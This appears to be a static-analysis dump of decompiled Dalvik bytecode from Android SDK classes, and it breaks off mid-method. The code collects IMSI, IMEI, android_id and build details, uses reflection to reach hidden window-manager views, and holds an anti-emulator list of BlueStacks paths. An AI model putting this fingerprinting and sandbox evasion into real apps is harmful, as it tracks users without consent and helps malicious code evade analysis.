                              • android.telephony.TelephonyManager.getSubscriberId
                              • android.telephony.TelephonyManager.getDeviceId
                              • java.lang.Integer.parseInt
                              Strings
                              • android_
                              • window
                              • phone
                              • SdkVersion
                              • noShields
                              • 0
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                              4iput-object p1, p0, Lsdk/nicro/lu/s$a;->s:Landroid/content/Context;
                              6sget-object v0, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              8invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->b(Ljava/lang/String;)V
                              10sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              12invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->c(Ljava/lang/String;)V
                              13new-instance v0, Ljava/lang/StringBuilder;
                              15invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              17const-string/jumbo v1, "android_"
                              19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              20move-result-object v0
                              22sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              25move-result-object v0
                              27invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              28move-result-object v0
                              30invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->d(Ljava/lang/String;)V
                              31new-instance v1, Landroid/util/DisplayMetrics;
                              33invoke-direct {v1}, Landroid/util/DisplayMetrics;-><init>()V
                              35const-string/jumbo v0, "window"
                              37invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              38move-result-object v0
                              39check-cast v0, Landroid/view/WindowManager;
                              41invoke-interface {v0}, Landroid/view/WindowManager;->getDefaultDisplay()Landroid/view/Display;
                              42move-result-object v0
                              44invoke-virtual {v0, v1}, Landroid/view/Display;->getMetrics(Landroid/util/DisplayMetrics;)V
                              45iget v0, v1, Landroid/util/DisplayMetrics;->widthPixels:I
                              47invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->b(I)V
                              48iget v0, v1, Landroid/util/DisplayMetrics;->heightPixels:I
                              50invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->c(I)V
                              52invoke-direct {p0}, Lsdk/nicro/lu/s$a;->v()I
                              53move-result v0
                              55invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->d(I)V
                              57const-string/jumbo v0, "phone"
                              59invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              60move-result-object v0
                              61check-cast v0, Landroid/telephony/TelephonyManager;
                              62try_start_58:
                              63invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                              64move-result-object v1
                              66invoke-virtual {p0, v1}, Lsdk/nicro/lu/s$a;->e(Ljava/lang/String;)V
                              67try_start_5f:
                              68invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                              69move-result-object v0
                              71invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->f(Ljava/lang/String;)V
                              72goto_66:
                              73invoke-direct {p0}, Lsdk/nicro/lu/s$a;->u()Ljava/lang/String;
                              74move-result-object v0
                              76invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->g(Ljava/lang/String;)V
                              78invoke-direct {p0, p1}, Lsdk/nicro/lu/s$a;->e(Landroid/content/Context;)Ljava/lang/String;
                              79move-result-object v0
                              81invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->i(Ljava/lang/String;)V
                              83invoke-direct {p0, p1}, Lsdk/nicro/lu/s$a;->f(Landroid/content/Context;)Ljava/lang/String;
                              84move-result-object v0
                              86invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->a(Ljava/lang/String;)V
                              88invoke-virtual {p0, v2}, Lsdk/nicro/lu/s$a;->g(I)V
                              90invoke-static {}, Lsdk/nicro/lu/s$a;->c()B
                              91move-result v0
                              93invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->a(I)V
                              95iget-object v0, p0, Lsdk/nicro/lu/s$a;->s:Landroid/content/Context;
                              97invoke-static {v0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              98move-result-object v0
                              100const-string/jumbo v1, "SdkVersion"
                              102invoke-virtual {v0, v1, v2}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;I)I
                              103move-result v0
                              105invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->e(I)V
                              107iget-object v0, p0, Lsdk/nicro/lu/s$a;->s:Landroid/content/Context;
                              109invoke-direct {p0, v0}, Lsdk/nicro/lu/s$a;->a(Landroid/content/Context;)Ljava/lang/String;
                              110move-result-object v0
                              112invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->h(Ljava/lang/String;)V
                              114iget-object v0, p0, Lsdk/nicro/lu/s$a;->s:Landroid/content/Context;
                              116invoke-static {v0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              117move-result-object v0
                              119const-string/jumbo v1, "noShields"
                              121const-string/jumbo v2, "0"
                              123invoke-virtual {v0, v1, v2}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                              124move-result-object v0
                              125check-cast v0, Ljava/lang/String;
                              127invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              128move-result v0
                              130invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->f(I)V
                              131return-void
                              132catch_b8: move-exception v1
                              134const-string/jumbo v1, ""
                              136invoke-virtual {p0, v1}, Lsdk/nicro/lu/s$a;->e(Ljava/lang/String;)V
                              137goto/16 :goto_5f
                              138catch_c0: move-exception v0
                              140const-string/jumbo v0, ""
                              142invoke-virtual {p0, v0}, Lsdk/nicro/lu/s$a;->f(Ljava/lang/String;)V
                              143goto/16 :goto_66
                              Cross References
                              APIs
                              • java.lang.Class.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Class.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • android.view.WindowManagerGlobal
                              • sDefaultWindowManager
                              • mViews
                              • android.view.WindowManagerImpl
                              • getDefault
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3sget-object v0, Lcom/omg/event/utils/ViewHelp;->viewObject:Ljava/lang/Object;
                              4if-eqz v0, :cond_8
                              6sget-object v0, Lcom/omg/event/utils/ViewHelp;->viewObject:Ljava/lang/Object;
                              7goto_7: return-object v0
                              8try_start_8: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              9const/16 v2, 0x10
                              10if-le v0, v2, :cond_41
                              11const-class v0, Lcom/omg/event/utils/ViewHelp;
                              13invoke-virtual {v0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              14move-result-object v0
                              16const-string v2, "android.view.WindowManagerGlobal"
                              18invoke-virtual {v0, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              19move-result-object v0
                              21const-string v2, "sDefaultWindowManager"
                              23invoke-virtual {v0, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              24move-result-object v0
                              25const/4 v2, 0x1
                              27invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              28const/4 v2, 0x0
                              30invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              31move-result-object v0
                              32goto_29:
                              33invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              34move-result-object v2
                              36const-string v3, "mViews"
                              38invoke-virtual {v2, v3}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              39move-result-object v2
                              40const/4 v3, 0x1
                              42invoke-virtual {v2, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              44invoke-virtual {v2, v0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              45move-result-object v0
                              46sput-object v0, Lcom/omg/event/utils/ViewHelp;->viewObject:Ljava/lang/Object;
                              47goto/16 :goto_7
                              48catch_3e: move-exception v0
                              49move-object v0, v1
                              50goto/16 :goto_7
                              51cond_41: const-class v0, Lcom/omg/event/utils/ViewHelp;
                              53invoke-virtual {v0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              54move-result-object v0
                              56const-string v2, "android.view.WindowManagerImpl"
                              58invoke-virtual {v0, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              59move-result-object v0
                              61const-string v2, "getDefault"
                              62const/4 v3, 0x0
                              63new-array v3, v3, [Ljava/lang/Class;
                              65invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              66move-result-object v0
                              67const/4 v2, 0x1
                              69invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              70const/4 v2, 0x0
                              71const/4 v3, 0x0
                              72new-array v3, v3, [Ljava/lang/Object;
                              74invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              75try_end_61: move-result-object v0
                              76goto/16 :goto_29
                              Cross References
                              APIs
                              • java.lang.Class.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Class.getClassLoader
                              • java.lang.ClassLoader.loadClass
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • android.view.WindowManagerGlobal
                              • sDefaultWindowManager
                              • mViews
                              • android.view.WindowManagerImpl
                              • getDefault
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              3const/16 v2, 0x10
                              4if-le v1, v2, :cond_35
                              5const-class v1, Lcom/core/model/g;
                              7invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              8move-result-object v1
                              10const-string v2, "android.view.WindowManagerGlobal"
                              12invoke-virtual {v1, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              13move-result-object v1
                              15const-string v2, "sDefaultWindowManager"
                              17invoke-virtual {v1, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              18move-result-object v1
                              19const/4 v2, 0x1
                              21invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              22const/4 v2, 0x0
                              24invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              25move-result-object v1
                              26goto_22:
                              27invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              28move-result-object v2
                              30const-string v3, "mViews"
                              32invoke-virtual {v2, v3}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              33move-result-object v2
                              34const/4 v3, 0x1
                              36invoke-virtual {v2, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              38invoke-virtual {v2, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              39move-result-object v0
                              40goto_34: return-object v0
                              41cond_35: const-class v1, Lcom/core/model/g;
                              43invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              44move-result-object v1
                              46const-string v2, "android.view.WindowManagerImpl"
                              48invoke-virtual {v1, v2}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              49move-result-object v1
                              51const-string v2, "getDefault"
                              52const/4 v3, 0x0
                              53new-array v3, v3, [Ljava/lang/Class;
                              55invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              56move-result-object v1
                              57const/4 v2, 0x1
                              59invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              60const/4 v2, 0x0
                              61const/4 v3, 0x0
                              62new-array v3, v3, [Ljava/lang/Object;
                              64invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              65try_end_55: move-result-object v1
                              66goto/16 :goto_22
                              67catch_57: move-exception v1
                              68goto/16 :goto_34
                              Cross References
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • android.os.Build.MODEL:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.BOARD:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.DEVICE:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • org.json.JSONObject.put
                              • java.lang.Object.getClass
                              • java.lang.Class.getName
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              Strings
                              • NAME
                              • EXTENDLIB
                              • MODEL
                              • BOARD
                              • DEVICE
                              • MANUFACTURER
                              • PRODUCT
                              • PHONE
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Lorg/json/JSONObject;
                              3invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                              5const-string/jumbo v1, "NAME"
                              7const-string/jumbo v2, "EXTENDLIB"
                              9invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              11const-string/jumbo v1, "MODEL"
                              13sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              15invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              17const-string/jumbo v1, "BOARD"
                              19sget-object v2, Landroid/os/Build;->BOARD:Ljava/lang/String;
                              21invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              23const-string/jumbo v1, "DEVICE"
                              25sget-object v2, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                              27invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              29const-string/jumbo v1, "MANUFACTURER"
                              31sget-object v2, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              33invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              35const-string/jumbo v1, "PRODUCT"
                              37sget-object v2, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              39invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              41iget-object v1, p0, Lcom/omg/base/phone/factoryimpl/PhoneController;->a:Lcom/omg/base/phone/factoryimpl/BaseController;
                              42if-eqz v1, :cond_4b
                              44const-string/jumbo v1, "PHONE"
                              46iget-object v2, p0, Lcom/omg/base/phone/factoryimpl/PhoneController;->a:Lcom/omg/base/phone/factoryimpl/BaseController;
                              48invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              49move-result-object v2
                              51invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              52move-result-object v2
                              54invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              55goto_4a: return-void
                              56cond_4b:
                              57const-string/jumbo v1, "PHONE"
                              59const-string/jumbo v2, ""
                              61invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              62try_end_54: goto/16 :goto_4a
                              63catch_55: move-exception v0
                              64goto/16 :goto_4a
                              APIs
                              Strings
                              • /data/app/com.bluestacks.appmart-1.apk
                              • /data/app/com.bluestacks.BstCommandProcessor-1.apk
                              • /data/app/com.bluestacks.help-1.apk
                              • /data/app/com.bluestacks.home-1.apk
                              • /data/app/com.bluestacks.s2p-1.apk
                              • /data/app/com.bluestacks.searchapp-1.apk
                              • /data/bluestacks.prop
                              • /data/data/com.androVM.vmconfig
                              • /data/data/com.bluestacks.accelerometerui
                              • /data/data/com.bluestacks.appfinder
                              • /data/data/com.bluestacks.appmart
                              • /data/data/com.bluestacks.appsettings
                              • /data/data/com.bluestacks.BstCommandProcessor
                              • /data/data/com.bluestacks.bstfolder
                              • /data/data/com.bluestacks.help
                              • /data/data/com.bluestacks.home
                              • /data/data/com.bluestacks.s2p
                              • /data/data/com.bluestacks.searchapp
                              • /data/data/com.bluestacks.settings
                              • /data/data/com.bluestacks.setup
                              • /data/data/com.bluestacks.spotlight
                              • /mnt/prebundledapps/bluestacks.prop.orig
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v0, 0x16
                              2new-array v0, v0, [Ljava/lang/String;
                              3const/4 v1, 0x0
                              5const-string/jumbo v2, "/data/app/com.bluestacks.appmart-1.apk"
                              6aput-object v2, v0, v1
                              7const/4 v1, 0x1
                              9const-string/jumbo v2, "/data/app/com.bluestacks.BstCommandProcessor-1.apk"
                              10aput-object v2, v0, v1
                              11const/4 v1, 0x2
                              13const-string/jumbo v2, "/data/app/com.bluestacks.help-1.apk"
                              14aput-object v2, v0, v1
                              15const/4 v1, 0x3
                              17const-string/jumbo v2, "/data/app/com.bluestacks.home-1.apk"
                              18aput-object v2, v0, v1
                              19const/4 v1, 0x4
                              21const-string/jumbo v2, "/data/app/com.bluestacks.s2p-1.apk"
                              22aput-object v2, v0, v1
                              23const/4 v1, 0x5
                              25const-string/jumbo v2, "/data/app/com.bluestacks.searchapp-1.apk"
                              26aput-object v2, v0, v1
                              27const/4 v1, 0x6
                              29const-string/jumbo v2, "/data/bluestacks.prop"
                              30aput-object v2, v0, v1
                              31const/4 v1, 0x7
                              33const-string/jumbo v2, "/data/data/com.androVM.vmconfig"
                              34aput-object v2, v0, v1
                              35const/16 v1, 0x8
                              37const-string/jumbo v2, "/data/data/com.bluestacks.accelerometerui"
                              38aput-object v2, v0, v1
                              39const/16 v1, 0x9
                              41const-string/jumbo v2, "/data/data/com.bluestacks.appfinder"
                              42aput-object v2, v0, v1
                              43const/16 v1, 0xa
                              45const-string/jumbo v2, "/data/data/com.bluestacks.appmart"
                              46aput-object v2, v0, v1
                              47const/16 v1, 0xb
                              49const-string/jumbo v2, "/data/data/com.bluestacks.appsettings"
                              50aput-object v2, v0, v1
                              51const/16 v1, 0xc
                              53const-string/jumbo v2, "/data/data/com.bluestacks.BstCommandProcessor"
                              54aput-object v2, v0, v1
                              55const/16 v1, 0xd
                              57const-string/jumbo v2, "/data/data/com.bluestacks.bstfolder"
                              58aput-object v2, v0, v1
                              59const/16 v1, 0xe
                              61const-string/jumbo v2, "/data/data/com.bluestacks.help"
                              62aput-object v2, v0, v1
                              63const/16 v1, 0xf
                              65const-string/jumbo v2, "/data/data/com.bluestacks.home"
                              66aput-object v2, v0, v1
                              67const/16 v1, 0x10
                              69const-string/jumbo v2, "/data/data/com.bluestacks.s2p"
                              70aput-object v2, v0, v1
                              71const/16 v1, 0x11
                              73const-string/jumbo v2, "/data/data/com.bluestacks.searchapp"
                              74aput-object v2, v0, v1
                              75const/16 v1, 0x12
                              77const-string/jumbo v2, "/data/data/com.bluestacks.settings"
                              78aput-object v2, v0, v1
                              79const/16 v1, 0x13
                              81const-string/jumbo v2, "/data/data/com.bluestacks.setup"
                              82aput-object v2, v0, v1
                              83const/16 v1, 0x14
                              85const-string/jumbo v2, "/data/data/com.bluestacks.spotlight"
                              86aput-object v2, v0, v1
                              87const/16 v1, 0x15
                              89const-string/jumbo v2, "/mnt/prebundledapps/bluestacks.prop.orig"
                              90aput-object v2, v0, v1
                              91sput-object v0, Lcom/omgSdk/outport/AntiEmulator;->a:[Ljava/lang/String;
                              92return-void
                              APIs
                              Strings
                              • /data/app/com.bluestacks.appmart-1.apk
                              • /data/app/com.bluestacks.BstCommandProcessor-1.apk
                              • /data/app/com.bluestacks.help-1.apk
                              • /data/app/com.bluestacks.home-1.apk
                              • /data/app/com.bluestacks.s2p-1.apk
                              • /data/app/com.bluestacks.searchapp-1.apk
                              • /data/bluestacks.prop
                              • /data/data/com.androVM.vmconfig
                              • /data/data/com.bluestacks.accelerometerui
                              • /data/data/com.bluestacks.appfinder
                              • /data/data/com.bluestacks.appmart
                              • /data/data/com.bluestacks.appsettings
                              • /data/data/com.bluestacks.BstCommandProcessor
                              • /data/data/com.bluestacks.bstfolder
                              • /data/data/com.bluestacks.help
                              • /data/data/com.bluestacks.home
                              • /data/data/com.bluestacks.s2p
                              • /data/data/com.bluestacks.searchapp
                              • /data/data/com.bluestacks.settings
                              • /data/data/com.bluestacks.setup
                              • /data/data/com.bluestacks.spotlight
                              • /mnt/prebundledapps/bluestacks.prop.orig
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v0, 0x16
                              2new-array v0, v0, [Ljava/lang/String;
                              3const/4 v1, 0x0
                              5const-string/jumbo v2, "/data/app/com.bluestacks.appmart-1.apk"
                              6aput-object v2, v0, v1
                              7const/4 v1, 0x1
                              9const-string/jumbo v2, "/data/app/com.bluestacks.BstCommandProcessor-1.apk"
                              10aput-object v2, v0, v1
                              11const/4 v1, 0x2
                              13const-string/jumbo v2, "/data/app/com.bluestacks.help-1.apk"
                              14aput-object v2, v0, v1
                              15const/4 v1, 0x3
                              17const-string/jumbo v2, "/data/app/com.bluestacks.home-1.apk"
                              18aput-object v2, v0, v1
                              19const/4 v1, 0x4
                              21const-string/jumbo v2, "/data/app/com.bluestacks.s2p-1.apk"
                              22aput-object v2, v0, v1
                              23const/4 v1, 0x5
                              25const-string/jumbo v2, "/data/app/com.bluestacks.searchapp-1.apk"
                              26aput-object v2, v0, v1
                              27const/4 v1, 0x6
                              29const-string/jumbo v2, "/data/bluestacks.prop"
                              30aput-object v2, v0, v1
                              31const/4 v1, 0x7
                              33const-string/jumbo v2, "/data/data/com.androVM.vmconfig"
                              34aput-object v2, v0, v1
                              35const/16 v1, 0x8
                              37const-string/jumbo v2, "/data/data/com.bluestacks.accelerometerui"
                              38aput-object v2, v0, v1
                              39const/16 v1, 0x9
                              41const-string/jumbo v2, "/data/data/com.bluestacks.appfinder"
                              42aput-object v2, v0, v1
                              43const/16 v1, 0xa
                              45const-string/jumbo v2, "/data/data/com.bluestacks.appmart"
                              46aput-object v2, v0, v1
                              47const/16 v1, 0xb
                              49const-string/jumbo v2, "/data/data/com.bluestacks.appsettings"
                              50aput-object v2, v0, v1
                              51const/16 v1, 0xc
                              53const-string/jumbo v2, "/data/data/com.bluestacks.BstCommandProcessor"
                              54aput-object v2, v0, v1
                              55const/16 v1, 0xd
                              57const-string/jumbo v2, "/data/data/com.bluestacks.bstfolder"
                              58aput-object v2, v0, v1
                              59const/16 v1, 0xe
                              61const-string/jumbo v2, "/data/data/com.bluestacks.help"
                              62aput-object v2, v0, v1
                              63const/16 v1, 0xf
                              65const-string/jumbo v2, "/data/data/com.bluestacks.home"
                              66aput-object v2, v0, v1
                              67const/16 v1, 0x10
                              69const-string/jumbo v2, "/data/data/com.bluestacks.s2p"
                              70aput-object v2, v0, v1
                              71const/16 v1, 0x11
                              73const-string/jumbo v2, "/data/data/com.bluestacks.searchapp"
                              74aput-object v2, v0, v1
                              75const/16 v1, 0x12
                              77const-string/jumbo v2, "/data/data/com.bluestacks.settings"
                              78aput-object v2, v0, v1
                              79const/16 v1, 0x13
                              81const-string/jumbo v2, "/data/data/com.bluestacks.setup"
                              82aput-object v2, v0, v1
                              83const/16 v1, 0x14
                              85const-string/jumbo v2, "/data/data/com.bluestacks.spotlight"
                              86aput-object v2, v0, v1
                              87const/16 v1, 0x15
                              89const-string/jumbo v2, "/mnt/prebundledapps/bluestacks.prop.orig"
                              90aput-object v2, v0, v1
                              91sput-object v0, Lsdk/nicro/lu/ps/b;->a:[Ljava/lang/String;
                              92return-void
                              Cross References
                              APIs
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              Strings
                              • android_id
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v1, 0x17
                              3const-string v0, ""
                              4sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              5if-ge v0, v1, :cond_31
                              7invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              8move-result-object v0
                              10const-string v1, "android_id"
                              12invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              13move-result-object v0
                              15invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              16move-result v1
                              17if-eqz v1, :cond_30
                              19invoke-static {p0}, Lb/a/at;->y(Landroid/content/Context;)Ljava/lang/String;
                              20move-result-object v0
                              22invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              23move-result v1
                              24if-eqz v1, :cond_30
                              26invoke-static {}, Lb/a/at;->d()Ljava/lang/String;
                              27move-result-object v0
                              29invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              30move-result v1
                              31if-eqz v1, :cond_30
                              33invoke-static {p0}, Lb/a/at;->B(Landroid/content/Context;)Ljava/lang/String;
                              34move-result-object v0
                              35goto_30: return-object v0
                              36cond_31: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              37if-ne v0, v1, :cond_71
                              39invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              40move-result-object v0
                              42const-string v1, "android_id"
                              44invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              45move-result-object v0
                              47invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              48move-result v1
                              49if-eqz v1, :cond_30
                              51invoke-static {}, Lb/a/at;->b()Ljava/lang/String;
                              52move-result-object v0
                              54invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              55move-result v1
                              56if-eqz v1, :cond_57
                              57sget-boolean v0, Lcom/a/a/c;->a:Z
                              58if-eqz v0, :cond_6c
                              60invoke-static {}, Lb/a/at;->c()Ljava/lang/String;
                              61move-result-object v0
                              62goto_57:
                              63invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              64move-result v1
                              65if-eqz v1, :cond_30
                              67invoke-static {}, Lb/a/at;->d()Ljava/lang/String;
                              68move-result-object v0
                              70invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              71move-result v1
                              72if-eqz v1, :cond_30
                              74invoke-static {p0}, Lb/a/at;->B(Landroid/content/Context;)Ljava/lang/String;
                              75move-result-object v0
                              76goto/16 :goto_30
                              77cond_6c:
                              78invoke-static {p0}, Lb/a/at;->y(Landroid/content/Context;)Ljava/lang/String;
                              79move-result-object v0
                              80goto/16 :goto_57
                              81cond_71:
                              82invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              83move-result-object v0
                              85const-string v1, "android_id"
                              87invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              88move-result-object v0
                              90invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              91move-result v1
                              92if-eqz v1, :cond_30
                              94invoke-static {}, Lb/a/at;->d()Ljava/lang/String;
                              95move-result-object v0
                              97invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
